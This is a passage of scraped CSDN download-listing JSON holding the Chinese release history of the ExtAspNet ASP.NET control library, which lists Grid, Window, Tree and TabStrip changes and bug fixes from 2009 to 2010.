beta9\n\t+Window窗体中的Iframe只让内容区域滚动,而Toolbar不滚动的规则。(示例在content_page2.aspx\u002Fsimpleform.aspx)[fixed]\n\t\t-在simpleform.aspx中:Panel[BodyPadding=5](Toolbar,Panel[Height=450 Layout=Fit](SimpleForm[AutoScroll=true])),则外面窗口的高度=450 + 5*2 + 26 + 32,其中26是Toolbar的高度,32是窗口的标题栏和下边框的高度。\n\t+关闭Iframe的LoadMask,所以需要Iframe页面添加PageLoading控件,这样效果统一。[fixed]\n\t+Grid完善。\n\t\t-去除EnableClientPaging和EnableClientSort属性,客户端排序和客户端分页在ASP.NET应用中会有很多问题(主要是状态保持的问题)。\n\t\t+EnableServerSort改名AllowSorting。(示例在grid_sorting.aspx)\n\t\t\t-使用非常简单:设置AllowSorting=true,注册OnSort事件,在事件处理函数中重新绑定数据。\n\t\t+增加AllowPaging属性。(示例在grid_paging.aspx)\n\t\t\t-使用非常简单:设置AllowPaging=true,PageSize=3,注册OnPageIndexChange事件,在事件处理函数中Grid1.PageIndex = e.NewPageIndex;OK。\n\t\t+数据库分页支持。(示例在grid_database_paging.aspx)\n\t\t\t-使用也非常简单:设置AllowPaging=true,PageSize=3,在绑定时设置RecordCount为总的记录数,在OnPageIndexChange事件处理函数中Grid1.PageIn","createTime":"2010-04-01 09:41:27","dataReportQuery":"spm=1035.2023.3001.6557&utm_medium=distribute.pc_relevant_bbs_down_v2.none-task-download-2~default~OPENSEARCH~Rate-3-2190657-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default&depth_1-utm_source=distribute.pc_relevant_bbs_down_v2.none-task-download-2~default~OPENSEARCH~Rate-3-2190657-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default","dataReportClick":"{\"mod\":\"popu_645\",\"index\":\"3\",\"dest\":\"https:\u002F\u002Fdownload.csdn.net\u002Fdownload\u002Fsuper_zhaowenke\u002F2190657\",\"strategy\":\"2~default~OPENSEARCH~Rate\",\"extra\":\"{\\\"utm_medium\\\":\\\"distribute.pc_relevant_bbs_down_v2.none-task-download-2~default~OPENSEARCH~Rate-3-2190657-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default\\\",\\\"dist_request_id\\\":\\\"1714006244188_80349\\\"}\",\"spm\":\"1035.2023.3001.6557\"}","dataReportView":"{\"mod\":\"popu_645\",\"index\":\"3\",\"dest\":\"https:\u002F\u002Fdownload.csdn.net\u002Fdownload\u002Fsuper_zhaowenke\u002F2190657\",\"strategy\":\"2~default~OPENSEARCH~Rate\",\"extra\":\"{\\\"utm_medium\\\":\\\"distribute.pc_relevant_bbs_down_v2.none-task-download-2~default~OPENSEARCH~Rate-3-2190657-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default\\\",\\\"dist_request_id\\\":\\\"1714006244188_80349\\\"}\",\"spm\":\"1035.2023.3001.6557\"}","type":"download"},{"url":"https:\u002F\u002Fdownload.csdn.net\u002Fdownload\u002Fwode2600\u002F2726130","title":"ExtAspNet_v2.3.2_dll","desc":"ExtAspNet - ExtJS based ASP.NET Controls with Full AJAX Support\n\t\nExtAspNet是一组专业的Asp.net控件库,拥有原生的AJAX支持和丰富的UI效果,\n目标是创建没有ViewState,没有JavaScript,没有CSS,没有UpdatePanel,没有WebServices的Web应用程序。\n\n支持的浏览器: IE 7.0+, Firefox 3.0+, Chrome 2.0+, Opera 9.5+, Safari 3.0+\n\n注:ExtAspNet基于一些开源的程序ExtJS, HtmlAgilityPack, Nii.JSON, YUICompressor。\n\n示例: http:\u002F\u002Fextasp.net\u002F\n开源: http:\u002F\u002Fextaspnet.codeplex.com\u002F\n博客: http:\u002F\u002Fsanshi.cnblogs.com\u002F\n邮箱: sanshi.ustc@gmail.com\n\n\n发布历史:\n\n+2010-09-29 v2.3.2\n\t-不绑定任何数据到Grid时,确保页面不会出错。\n\t-修正了Grid列属性DataFormatString的\u003Cem\u003E一个\u003C\u002Fem\u003Ebug,比如设置{0:yy-MM-dd HH:mm}时没有效果。\n\t-修正下拉列表控件不能绑定DataTable的BUG(feedback:RedOcean)。\n\t-增加土耳其语言资料\u003Cem\u003E文件\u003C\u002Fem\u003E(feedback:abdullaharslan)。\n\t-Grid的BoundField增加NullDisplayText属性,用于处理数据库中的null值,如果没有设置则默认为空字符串。\n\t-修正DatePicker中的\u003Cem\u003E一个\u003C\u002Fem\u003Ebug(31\u002F01\u002F2010将会返回NULL)使用DateFormatString来生成SelectedDate属性(feedback:OktaEndy)。\n\t-修正extjs最新版本(v3.2.2)中的\u003Cem\u003E一个\u003C\u002Fem\u003Ebug,如果下拉列表中存在\u003Cem\u003E两个\u003C\u002Fem\u003E相同的Text,则SelectedValue返回值永远是第\u003Cem\u003E一个\u003C\u002Fem\u003EText的值(feedback:ben.zhou)。\n\t-应用补丁#6593, #6621(feedback:vbelyaev)。\n\t+修正IE7下Grid分页速度慢(feedback:youwei, StevenGuan, hazardvn, gavindou, ttjacky)。\n\t\t-实际上IE7下所以的回发都慢,原因是客户端的Base64编码速度慢,已经使用encodeURIComponent来代替Base64编码。\n\t-俄语翻译(feedback:vbelyaev)。\n\t\n\t\n\n+2010-06-30 v2.3.1\n\t-ExtAspNet控件将不在依赖ViewState,减少1\u002F4左右的HTTP数据传输量。\n\t-控件和示例的增强。\n\t\n\t\n\n+2010-03-28 v2.2.1\n\t+为TabStrip的GetAddTabReference函数增加重载方法,以便指定Tab的图标(feedback:mmdcup)。 \n\t\t-修正此函数通过PageContext.RegisterStartupScript调用时不能正确显示Icon的BUG(feedback:zhaowenke)。\n\t-修正basic\u002Fhello.aspx示例在单独浏览器打开后,不能弹出对话框的BUG。\n\t-隐藏示例首页最外层RegionPanel的边框ShowBorder=\"false\"。\n\t+集成Extjs最新版本v3.1.1。\n\t\t-增加\u003Cem\u003E一个\u003C\u002Fem\u003E新的Theme - Access。\n\t\t-修正了Firefox下Zoom In\u002FOut时页面消失的BUG。\n\t\t-\u003Cem\u003E删除\u003C\u002Fem\u003EPanel的EnableLightBackgroundColor属性,同时EnableBackgroundColor只支持Blue和Gray两种Theme。\n\n\n\n+2010-01-31 v2.2.0\n\t-使得Asp.net的控件ImageButton具有和Asp.net的Button控件类似的行为(Ajax提交)(feedback:261629698)。\n\t+TabStrip增加GetAddTabReference和GetRemoveTabReference\u003Cem\u003E两个\u003C\u002Fem\u003E函数,用来向TabStrip控件动态增加\u003Cem\u003E删除\u003C\u002Fem\u003ETab。\n\t\t-增加示例tabstrip\u002Ftabstrip_addtab.aspx。\n\t-重构了示例网站的架构,目前只有一层IFrame结构。\n\t-为TabStrip增加EnableTabCloseMenu属性,是否启用右键菜单,可用来关闭当前Tab和所有其他Tab。\n\t-为NumberBox增加DecimalPrecision属性,用来控制小数点后的位数(需要设置NoDecimal=\"false\")(feedback:zqmars)。\n\t-Window控件更新。\n\t\t-关闭按钮默认直接关闭,不会弹出确认对话框。\n\t\t-GetConfirmFormModifiedHideReference的函数中的ConfirmFormModified简化为Confirm,所以此函数更名为GetConfirmHideReference。\n\t\t-增加\u003Cem\u003E两个\u003C\u002Fem\u003E属性EnableConfirmOnClose(默认false),CloseAction(Hide, HideRefresh, HidePostBack)。\n\t\t-修正EnableMaximize属性不能使Window最大化的BUG,修正了双击标题栏不能最大化的BUG。\n\t-\u003Cem\u003E删除\u003C\u002Fem\u003EButton控件的SystemIcon属性,比如以前这样定义SystemIcon=\"Close\",现在需要这样定义Icon=\"SystemClose\"。\n\t-WindowPosition默认居中,而不是黄金分割位置。\n\t+Button, Window等控件弹出位置属性的变化。\n\t\t-Window的Target属性由字符串类型变为枚举类型,注意更新以前的代码:Target=\"_self\" -\u003E Target=\"Self\", Target=\"_parent\" -\u003E Target=\"Parent\"。\n\t\t-MenuButton, LinkButton, Button, LinkButtonField的ConfirmTarget属性由字符串变为枚举类型,可以取三个枚举值Self, Parent, Top。\n\t\t-Confirm.GetShowReference的最后\u003Cem\u003E一个\u003C\u002Fem\u003E参数target变为枚举类型。\n\t\t-Alert.GetShowReference中的showInParent参数也变为Target枚举类型。\n\t\t-MenuButton, LinkButton, Button, LinkButtonField增加ValidateTarget用来控制表单验证失败时提示对话框的显示位置。\n\n\n\n+2010-01-06 v2.1.9\n\t-集成Extjs最新版本v3.1.0。\n\t-修正灰色皮肤的CSS问题。\n\t-修正Grid的列名中不能包含中文字符的BUG(feedback:davidwen)。\n\t-为Web.config和PageManager增加属性AjaxTimeout(单位秒,默认30秒)。\n\t-修正了在Grid的PageIndexChange事件中不能获取SelectedRowIndexArray属性的BUG(feedback:Violet)。\n\t-Button控件将不再自动拥有display:inline属性,如果希望\u003Cem\u003E两个\u003C\u002Fem\u003E按钮在一行显示,请为第\u003Cem\u003E一个\u003C\u002Fem\u003E按钮设置CssStyle=\"float:left;\"属性。\n\t-修正了弹出菜单的位置在Firefox下不正确的BUG(feedback:eroach)。\n\t-为TriggerBox和TwinTriggerBox增加EnableEdit属性。\n\t-使用Hidden来显示隐藏ExtAspNet控件,而不是使用Visible属性(Visible目前设置为只读属性)。\n\t-使用Hidden控制Window控件的显示隐藏,Popup已经标记为Obsolete属性。\n\t-Window的实例方法GetCloseReference等以及ActiveWindow的静态方法GetCloseReference等,其中的Close全部改为Hide。\n\t-增加TabStrip中Tab控件可关闭属性EnableClose(默认为false)以及\u003Cem\u003E两个\u003C\u002Fem\u003E方法GetShowReference和GetHideReference(feedback:anson)。\n\t-修正绑定到Tree的XMLDocument中Icon属性映射错误(feedback:nopnop9)。\n\t-修正HtmlEditor不能编辑的BUG(feedback:TheBox)。\n\t-修正IE下有时会出现空白页面的情况(feedback:olivia919)。\n\t\n\t\n\n+2009-12-06 v2.1.8\n\t-修正了使用IFrame的Window关闭后不能再次打开的BUG(feedback:alexa99)。\n\t-修正了IE下Grid中的\u003Cem\u003E一个\u003C\u002Fem\u003EJS问题(feedback:lqm4108)。\n\t-修正Alert消息中引号未编码导致的JS错误(feedback:sun1299shine)。\n\t+集成extjs3.0.3。\n\t\t-修正弹出对话框的宽度计算错误(会保持最小的状态)。\n\t\t-增加新的皮肤Gray。\n\t-为示例工程添加改变语言和皮肤的下拉列表。\n\t-为PageContext增加静态函数Refresh,在切换语言和皮肤时使用。\t\n\n\n\n+2009-12-01 v2.1.7\n\t-增加示例(iframe\u002Fparent_postback_run3.aspx),如何通过简单的Javascript代码回发父页面(feedback:eroach)。\n\t-修正一些书写错误(feedback:bmck)。\n\t-从Region控件中\u003Cem\u003E删除\u003C\u002Fem\u003ESplitColor属性,增加CollapseMode, EnableSplitTip, SplitTip, CollapsibleSplitTip属性(feedback:bmck)。\n\t-BorderPanel更名为RegionPanel。\n\t-DropDownList拥有MarkInvalid方法(feedback:sun1299shine)。\n\t-增加中国的省市县三级联动示例(data\u002Fshengshixian.aspx)(feedback:Blues T)。\n\t-修正了使用IFrameUrl的Tab在切换过程中会重复加载的问题,这是\u003Cem\u003E一个\u003C\u002Fem\u003E在v2.1.6引入的问题(feedback:eroach)。\n\t-修正了启用AutoPostBack的Grid,其RowClick会覆盖LinkButtonField, HyperLinkField, CheckBoxField的点击事件(feedback:yymaoji)。\n\t\n\t\n\t\n+2009-11-26 v2.1.6\n\t+修正动态创建Grid列的BUG(feedback:gxpan)。\n\t\t-增加示例(data\u002Fgrid_dynamic_columns.aspx)。\n\t-修正Form不能自适应浏览器大小的改变(feedback:kaywood)(WorkItem#6309)。\n\t-增加重载方法Alert.Show(message, title, icon)(feedback:TheBox)(WorkItem#6353)。\n\t-为容器控件(比如Panel,Region,Tab等)增加AJAX属性IFrameUrl(feedback:BluesT)。\n\t-重新设计模拟树的下拉列表的实现,避免选中某项后的闪烁。\n\t\t\t\n\n\n+2009-11-21 v2.1.5\n\t+Tree优化。\n\t\t-修正Expanded项和Checked项的状态在回发改变后不能保持的BUG。\n\t\t-GetNodeById更名为FindNode,保持和FindControl一致命名。\n\t\t-\u003Cem\u003E删除\u003C\u002Fem\u003ECheckedNodeIDArray属性,增加GetCheckedNodes和GetCheckedNodeIDs函数。\n\t\t-\u003Cem\u003E删除\u003C\u002Fem\u003EExpandedNodeIDArray属性,增加GetExpandedNodes和GetExpandedNodeIDs函数。\n\t\t-增加示例(data\u002Ftree_select_run.aspx),如何选中当前节点的所有子节点(feedback:wjl_wjl520)。\n\t\t+TreeNode的属性NodeId被重命名为NodeID,这是ExtAspNet中的\u003Cem\u003E一个\u003C\u002Fem\u003E命名约定。\n\t\t\t-同时更名的还有GridColumn的ColumnId-\u003EColumnID,GetColumnId-\u003EGetColumnID。\n\t\t\t-Grid1.Columns.FindColumnById函数被Grid1.FindColumn所替代。\n\t\t-为TreeCheckEventArgs,TreeExpandEventArgs,TreeCommandEventArgs增加Node属性。\n\t-为所有控件增加Focus(覆盖Control默认的Focus函数)和GetFocusReference函数。\n\t-增加示例(other\u002Fcustom_postback.aspx)(feedback:thebox)。\n\t\t-如何自定义Javascript脚本和C#处理函数来响应键盘事件。\n\t-为Tree增加AutoLeafIdentification属性。\n\t\t-增加示例(tree_auto_leaf_identification.aspx)(feedback:wdrabbit)。\n\t\n\t\n\n+2009-11-17 v2.1.4\n\t-修正Window的关闭按钮提示信息一直是中文的BUG(feedback:thebox)。\n\t-部分ExtAspNet控件的设计时支持(会在后续版本中逐步完善)。\n\t-v0.2beta2版本中关于PersistChildren(true)的描述有误,这个是设计时属性,和运行时是否保持状态没有关系。\n\t-修正CheckBox控件的CheckedChanged事件会被触发两次的BUG(Data PostBack-\u003EAutoPostBack, Event PostBack-\u003EEnablePostBack)。\n\t-为TextBox,TextArea,DatePicker,NumberBox,TriggerBox等控件增加AutoPostBack属性(feedback:dk3214)。\n\t+为表单字段增加RequiredMessage,MaxLengthMessage,MinLengthMessage属性,用于指定验证失败时提示信息。\n\t\t-为空则使用默认的提示信息,默认的提示信息支持多语言,建议一般情况下使用默认信息。\n\t+为表单字段增加MarkInvalid和GetMarkInvalidReference函数(feedback:sun1299shine)。\n\t\t-增加示例:form\u002Fform_validate.aspx\n\t\n\t\n\n+2009-10-19 v2.1.3\n\t+增加支持在AJAX时改变的控件属性列表(\u002Fajax.aspx)。\n\t\t-ExtAspNet支持原生的AJAX,也就是说控件的属性改变在AJAX过程中会反映到页面中,但并不是所有的控件属性都支持AJAX改变。\n\t-加载s.gif图片在本机进行,不会请\u003Cem\u003E求\u003C\u002Fem\u003Eextjs.com远程资源(feedback:efrigate43,abaocoole)。\n\t-在AJAX回发后确保Asp.net的按钮控件仍然具有AJAX的特性。\n\t-更新\u002Fbasic\u002Flogin.aspx示例,使用验证图片(feedback:kedee)。\n\t-为Grid增加AutoPostBack属性和RowClick事件,示例在\u002Fdata\u002Fgrid_autopostback.aspx(feedback:chenguizhu2006)。\n\t-为所有的表单字段增加AJAX属性ReadOnly(feedback:skydb)。\n\t-Grid中TemplateField生成到页面中控件具有唯一ID,例如Grid1_ct5_Label2,Grid1_ct6_Label2(feedback:geruger)。\n\t\n\t\n\n+2009-09-27 v2.1.2\n\t-为Tree控件增加GetExpandAllNodesReference和GetCollapseAllNodesReference\u003Cem\u003E两个\u003C\u002Fem\u003E函数。\n\t-修正RELEASE版本下多语言加载的BUG(feedback:yigehaoren)。\n\t-增加pt_BR语言,由Ujvari提供。\n\t+为所有Panel(包括Grid,Tree,Form等)增加枚举类型Icon,其中包含1700多个小图标。\n\t\t-如果Panel具有IconUrl属性,则IconUrl优先于Icon。\n\t\t-所有Icon的列表在icon.aspx。\n\t-为Button,MenuItem(MenuButton,MenuHyperLink),AccordionLink,TreeNode,Image(如果ImageUrl为空,则取Icon的值)增加Icon属性。\n\t\n\t\n\n+2009-09-15 v2.1.1\n\t-修正不能动态修改AccordionPane属性Items的BUG。\n\t+为Button, MenuButton, LinkButton, LinkButtonField增加ConfirmTarget。\n\t\t-如果需要在父页面弹出确认对话框,需要设置ConfirmTarget=\"_parent\"(类似Window控件的Target=\"_parent\")。\n\t+为ExtAspNet.Alert.Show增加点击确定的JavaScript回调函数。\n\t\t-\u003Cem\u003E一个\u003C\u002Fem\u003E典型应用,在Window控件中打开新页面,如果传递的参数不正确,则首先提示参数不对然后关闭此弹出窗口。\n\t\t-ExtAspNet.Alert.Show(\"参数错误!\", String.Empty, ExtAspNet.ActiveWindow.GetCloseReference());\n\t+TreeNode的前面的多选框可以自动回发了。\n\t\t-为TreeNode增加AutoPostBack属性,增加事件数据类TreeCheckEventArgs,为Tree增加事件NodeCheck。\n\t\t-示例在:http:\u002F\u002Fextasp.net\u002Fdata\u002Ftree_run.aspx\n\t-Grid增加GetNoSelectionAlertInParentReference函数,用来表示没有选中任何一项时在父页面弹出对话框的JS代码。\n\t-修正IE7下不能以下划线作为CSS中类名的前缀的BUG(feedback:Steve.Wei)。\n\t-添加定时器控件Timer,用来定时发起AJAX请\u003Cem\u003E求\u003C\u002Fem\u003E。\n\t\n\t\n\n+2009-09-06 v2.1.0\n\t-Button的Pressed属性值能够正确的反映客户端的变化。\n\t-优化Tree控件的AJAX实现。\n\t+为页面的Form添加autocomplete=\"off\"属性。\n\t\t-参考http:\u002F\u002Fwww.cnblogs.com\u002Fsanshi\u002Farchive\u002F2009\u002F09\u002F04\u002F1560146.html#1635830\n\t+添加对extjs3.0中所有语言的支持。\n\t\t-ExtAspNet扩展的多语言包在js\\languages\\extaspnet目录下,目前只有en,zh_CN,zh_TW三种实现\n\t\t-你可以向其中添加自己的语言版本,并执行js\\languages下的pack.\u003Cem\u003Ebat\u003C\u002Fem\u003E打包,最后编译工程。\n\t\n\t\n\t\n+2009-09-01 v2.0.9\n\t-为ExtAspNet.Alert添加\u003Cem\u003E两个\u003C\u002Fem\u003E静态方法ShowInParent和GetShowInParentReference,用于在父页面弹出窗口。\n\t+在aspx页面中必须显示的声明控件的集合属性(比如Tabs(TabStrip), Items(PanelBase), Nodes(TreeNode))。\n\t\t-这将会影响所有的aspx页面,所以要特别关注。\n\t-重命名AccordionPanel为AccordionPane (这也是在Asp.net AJAX中使用的名称).\n\t+所有的面板默认有\u003Cem\u003E两个\u003C\u002Fem\u003E集合属性(Toolbars和Items).\n\t\t-尽管TabStrip, From, Tree, Accordion继承了Items属性,但是你并不能对其设置(此时Items是只读的).\n\t\t-这将会影响所有的aspx页面,一定要将工具条(Toolbars)和Items区分开来。\n\t-祝你生日快乐 - 小师妹妹。\n\n\n\n+2009-08-29 v2.0.8\n\t-ExtAspNet支持多语言(en,zh_CN,zh_TW),可以在Web.config中修改。\n\t-将所有的示例转化为英语版本。\n\t-修正Tree控件的\u003Cem\u003E一个\u003C\u002Fem\u003EBUG(定义Mappings属性时)。\n\t+PageManager.Instance应该存在于HttpContext.Current,而不是\u003Cem\u003E一个\u003C\u002Fem\u003E全局变量。\n\t -这个BUG导致Asp.net compatibility中的示例无法完成,现在已经修正。\n\t+去除PageManager中方法AddAjaxAspnetControls,增加属性AjaxAspnetControls。\n\t -这个属性和Button得ValidateForms属性类似,可以查看Asp.net compatibility中的示例。\n\t\n\t\n\n+2009-08-25 v2.0.7\n -为按钮增加DisableControlBeforePostBack属性 - 回发之前是否禁用按钮,防止重复提交 - 默认为true。\n -Grid的Values属性访问限制由internal改为public,这就意味这可以自由改变Grid中每个单元格的值了。\n -增加示例-如何将Grid控件导出为Excel(data\\grid_excel_run.aspx)(feedback:503684912)。\n -如果TreeNode的属性Enabled=\"false\",则此项变灰并且不会被选中(feedback:your568)。\n -修正TreeNode的属性NavigateUrl不接受服务器端URL(以~\u002F开头)的BUG。\n -增加Accordion和Tree配合使用的示例(other\\accordion_tree_run.aspx)。\n -修正Panel图标不能显示的BUG(CSS中class名不能有$字符)。\n +去除PageLayout控件,此控件可以使用BorderLayout和指定PageManager的AutoSizePanelID属性来代替。\n\t\t-这样所有需要占据全屏的Panel(不管你是Accordion,Panel,ContentPanel,Form,GroupPanel,SimpleForm,Tree还是Grid,TabStrip)都可以通过这种方式全屏。\n\t\t-简单方便,示例可以参考 default.aspx 或者 other\\accordion_tree_run.aspx。\n \n \n\n+2009-08-14 v2.0.6\n\t-动态生成菜单实例(other\\menu_dynamic_run.aspx和other\\menu_dynamic2_run.aspx)(feedback:shguo)。\n\t-优化AJAX的内部实现,每个页面保存的ViewState现在减少1\u002F3左右(重要更新)。\n\t-优化Tree节点的NodeId自动生成,减少ViewState占用。\n\t\n\n\n+2009-08-09 v2.0 beta5\n\t+ExtAspNet和Asp.net的提交按钮兼容问题(feedback:千帆)。\n\t\t-在2009-03-03 v1.3.0曾经提到这个兼容问题,并有这样的规则,如果Asp.net的按钮AJAX提交,必须设置UseSubmitBehavior=\"false\"\n\t\t--也就是说生成的input的type不能是\"submit\",而这个限制在有些情况下是不可原谅的。\n\t\t--我们做了优化,现在要使\u003Cem\u003E一个\u003C\u002Fem\u003EAsp.net的按钮能够AJAX提交,你不需要做任何设置(PageManager的属性EnableAjax为true即可,这是默认属性)。\n\t+PageManager的实例方法AddAjaxUpdateControl改名为AddAjaxAspnetControls,现在可以在Page_Load中设置需要在AJAX中需要更新的Asp.net控件了。\n\t\t-在Page_Load中设置了哪些需要在AJAX中更新的Asp.net控件会在回发时保持状态,可以通过RemoveAjaxAspnetControls来去除不需要更新的控件。\n\t\t-示例在aspnet\\fckeditor_run.aspx和aspnet\\aspnet_run.aspx。\n\t\t-FCKEditor和上传控件兼容。示例在aspnet\\fileupload_run.aspx。\n\t-修正ToolbarText的文本在AJAX下更新的BUG。\n\t-Button的Pressed属性在AJAX可更新(feedback:mgzhenhong)。\n\t-更新所有示例。在IE7.0,IE8.0,Firefox3.5,Chrome2.0下测试通过。\n\t\n\n\n+2009-08-02 v2.0 beta4\n\t+和Asp.Net的Forms Authentication兼容[feedback:mgzhenhong]。\n\t\t-采用和Asp.Net Ajax类似的处理方式,需要在配置\u003Cem\u003E文件\u003C\u002Fem\u003EWeb.config增加\u003Cem\u003E一个\u003C\u002Fem\u003EhttpModules。\n\t\t-现在支持Response.Redirect,你可以选择Response.Redirect或者ExtAspNet.PageContext.Redirect重定向页面,两者效果一样。\n\t\t-支持FormsAuthentication.RedirectFromLoginPage(accountID, false);这样的方法。\n\t-Button增加Type属性(button,reset,submit)[feedback:mgzhenhong]。\n\t-修正Alert.Show方法不能指定文本前图片的BUG[feedback:xmq&mgzhenhong]。\n\t-修正IE下某些弹出窗口的IFrame第一次不能加载的BUG。\n\t-增加Menu和Accordion的示例。\n\t-修正Window控件的IconUrl有时不显示(Target=\"_parent\")的BUG[feedback:xmq&mgzhenhong]。\n\t\n\n\n+2009-07-22 v2.0 beta3\n\t-兼容FCKEditor。\n\t-在IE8.0,Firefox3.5下测试通过。以后ExtAspNet将不会对IE6.0提供支持。\n\t\n\n\n+2009-07-13 v2.0 beta2\n\t-集成extjs最新版本v3.0。\n\t+兼容IE6.0-7.0-8.0。\n\t\t-这应该是Extjs3.0的\u003Cem\u003E一个\u003C\u002Fem\u003EBUG,在IE6.0-7.0下面设置Ext.QuickTips.init();会导致button的click事件无法响应(IE8下无此问题)。\n\t\t-目前先禁用IE6.0-7.0的QuickTips。\n\t-优化底层JavaScript。\n\t\n\t\n\t\n+2009-07-05 v2.0 beta1\n\t-更新extjs库到最新版本v3.0 RC2; 目前只有\u003Cem\u003E一个\u003C\u002Fem\u003E缺省皮肤(Theme)。\n\t-使用YUI Compressor压缩JavaScript和CSS\u003Cem\u003E文件\u003C\u002Fem\u003E。\n\t-Release版本每个页面只包含\u003Cem\u003E一个\u003C\u002Fem\u003EJavaScript\u003Cem\u003E文件\u003C\u002Fem\u003E(语言\u003Cem\u003E文件\u003C\u002Fem\u003E除外)和\u003Cem\u003E一个\u003C\u002Fem\u003ECSS\u003Cem\u003E文件\u003C\u002Fem\u003E。\n\t-ExtAspNet自身的CSS会紧挨着页面标签引入,这样在中自定义的样式可以覆盖ExtAspNet缺省样式。\n\t+Alert对话框会遮挡所有的Window窗口。\n\t\t-使用\u003Cem\u003E一个\u003C\u002Fem\u003E变通的方法解决,因为无法改变Ext.Message的默认z-index(9000)所以将box.window_default_group的zseed调整为6000。\t\n\t-为所有按钮的左右增加5px的空白边距:.x-btn button { margin: 0 5px !important; }。\n\t-因为下拉列表不可编辑,所以不能为空,如果不设置SelectedIndex或SelectedValue,则默认选中第一项。\n\t-重新绑定模拟树的下拉列表后,选中项的前面有图片的HTML标签的BUG。\n\t-更新自定义JavaScript组件Ext.ux.SimplePagingToolbar。\n\t-更新示例工程。\n\t\n\t\n\n+2009-03-25 v1.3.1\n\t-Tree在AJAX回发展开节点时JS错误[feedback:xlli]。[fixed]\n\t-Window中的EnableIFrame==false,则点击关闭按钮时报JS错误。[fixed]\n\t-页面包含FileUpload控件,需要点击按钮回发并上传\u003Cem\u003E文件\u003C\u002Fem\u003E,则不能采用原生AJAX方式。(参见示例aspnet\u002Ffileupload.aspx)[fixed]\n\t-HtmlEditor显示隐藏工具栏按钮不起作用,HtmlEditor目前不支持Enabled和Readonly\u003Cem\u003E两个\u003C\u002Fem\u003E属性。[fixed]\n\t\n\t\n\n+2009-03-03 v1.3.0\n\t-如果弹出的窗口(Ext-Window)含有ASP.NET控件FileUpload,则此弹出窗口在关闭时出现JS错误(http:\u002F\u002Fextjs.com\u002Fforum\u002Fshowthread.php?t=8129)[feedback:xlli]。[fixed]\n\t-如果页面中存在ASP.NET控件(TextBox),则第二次提交表单就会报错(视图状态不对,其实时没有更新EventValidation隐藏字段导致的问题)。[fixed]\n\t-页面上放置ExtAspNet-Button和ASP.NET-Button,则点击ExtAspNet-Button时激发的是ASP.NET-Button的事件,这个BUG和Extjs2.2.1中Ext.Ajax.serializeForm的实现有关。[fixed]\n\t-ExtAspNet内部包含HtmlAgilityPack和Nii.JSON\u003Cem\u003E两个\u003C\u002Fem\u003E开源的第三方类库。[added]\n\t+如果以前你听过不要在ExtAspNet工程中使用ASP.NET标准控件的忠告,那么从v1.3.0版本开始,你可以忘掉这个说法,现在ExtAspNet控件和ASP.NET标准控件和平共处了。[fixed]\n\t\t-如果\u003Cem\u003E一个\u003C\u002Fem\u003EASP.NET按钮控件要使用ExtAspNet的原生AJAX,只需要设置属性 UseSubmitBehavior=\"false\" 即可。\n\t\t-如果要在一次ExtAspNet的原生AJAX回发时更新ASP.NET控件的值,只需要调用PageManager的公共方法AddAjaxUpdateControl即可(示例:aspnet\u002Faspnet.aspx)。\n\n\n\n+2009-02-27 v1.2 beta9\n\t-网络连接出错时的“Ajax Error”改成更加友好的提示信息“本次连接失败!可能是网络连接出错,请刷新页面重试。”。[fixed]\n\t-自动测试功能会在以后版本中逐步完善。这个版本完成测试框架,采用Extjs中JS函数进行大部分的测试,对于一些难以测试的地方借助jQuery完成。[fixed]\n\t+系统底层代码优化(主要是Javascript的封装和BUG修复)。[fixed]\n\t\t-底层使用Javascript创建\u003Cem\u003E一个\u003C\u002Fem\u003EWindow控件的代码由原来的2000字符减少为500个字符。\t\n\t\t-PageContext静态类中的GetPageStateChangedFunction改名为GetConfirmFormModifiedReference,底层代码优化。表示“获取当前页面中表单修改的确认提示框的脚本”。\n\t\t---[updated]\u003Cem\u003E删除\u003C\u002Fem\u003EPageContext中的GetConfirmFormModifiedReference,使用CurrentActiveWindow中的GetConfirmFormModifiedCloseReference\u002FGetConfirmFormModifiedCloseRefreshReference\u002FGetConfirmFormModifiedClosePostBackReference三个方法代替。\n\t\t-不会修改弹出页面的URL(Ext-Window中的IFrame),以前为了实现功能为每个弹出页面添加box_parent_client_id查询字符串\n\t\t-去除PageManager的RegisterPageStateChangedScript属性,现在已经将这个功能实现为静态的JS方法。可以通过PageContext.GetFormModifiedConfirmReference获取此方法的客户端脚本。\n\t\t---注意:以前的项目需要在所有的ASPX页面中查找RegisterPageStateChangedScript属性,并\u003Cem\u003E删除\u003C\u002Fem\u003E,否则会运行错误!\n\t\t-A页面有Ext-Window控件弹出B页面,B页面有Ext-Window控件弹出C页面,B页面的Ext-Window控件设置Target='_parent',则弹出的Ext-Window(C页面)会覆盖整个A页面,这是正确的。\n\t\t---当时如果用户直接访问B页面,就会报JS错误,因为此时找不到B页面的父页面A了。现在的版本修正为如果找不到父页面,则就在当前页面弹出窗口,这样用户直接访问B页面也不会出错了。\n\t\t-Window控件的GetIFramePageStateChangedFunction函数改名为GetConfirmFormModifiedCloseReference,表示“获取先确认IFrame的页面中表单改变,然后关闭弹出窗口的客户端脚本”。\n\t\t---为Window控件增加如下\u003Cem\u003E两个\u003C\u002Fem\u003E方法GetConfirmFormModifiedCloseRefreshReference和GetConfirmFormModifiedClosePostBackReference,表示“先确认表单改变,然后关闭弹出Ext-Window,再然后刷新父页面或回发父页面”。\n\t\t---Window控件的OnClientCloseButtonClick属性如果不设置,则默认采用GetConfirmFormModifiedCloseReference,也即是先判断表单是否更新,然后在关闭窗口。\n\t\t---现在可以很方便的为Window控件的关闭按钮添加关闭后刷新父页面或者关闭后回发父页面的行为。\n\t\t-如果弹出窗口(Window控件)中IFrame的页面不能正常加载(网络暂时出错或页面抛出异常),则此时点击右上角的关闭按钮会报JS错误,因为此时页面尚未加载完毕。\n\t\t---此版本修正了这个BUG,即时页面不能加载完全,也能通过右上角的关闭按钮关闭弹出含IFrame的窗体。\n\t\t-Window控件的IFrameName属性是自动生成的,只读属性。(因为有可能所有的Ext-Window最终都渲染到最外层的页面,为了保证这些IFrame的name不同,IFrameName使用的是GUID,内部处理)。\n\t\t-CurrentActiveWindow改名为ActiveWindow。\n\t\t-[特别注意]GetWriteBackValueReference(string controlClientIds, string value, params string[] values)函数现在的定义是GetWriteBackValueReference(params string[] values)\n\t\t---所有调用GetWriteBackValueReference的地方,需要\u003Cem\u003E删除\u003C\u002Fem\u003E第\u003Cem\u003E一个\u003C\u002Fem\u003E参数(一般是ActiveWindow.GetLoadStateReference())。\n\t\t\n\t\n\n+2009-02-23 v1.2 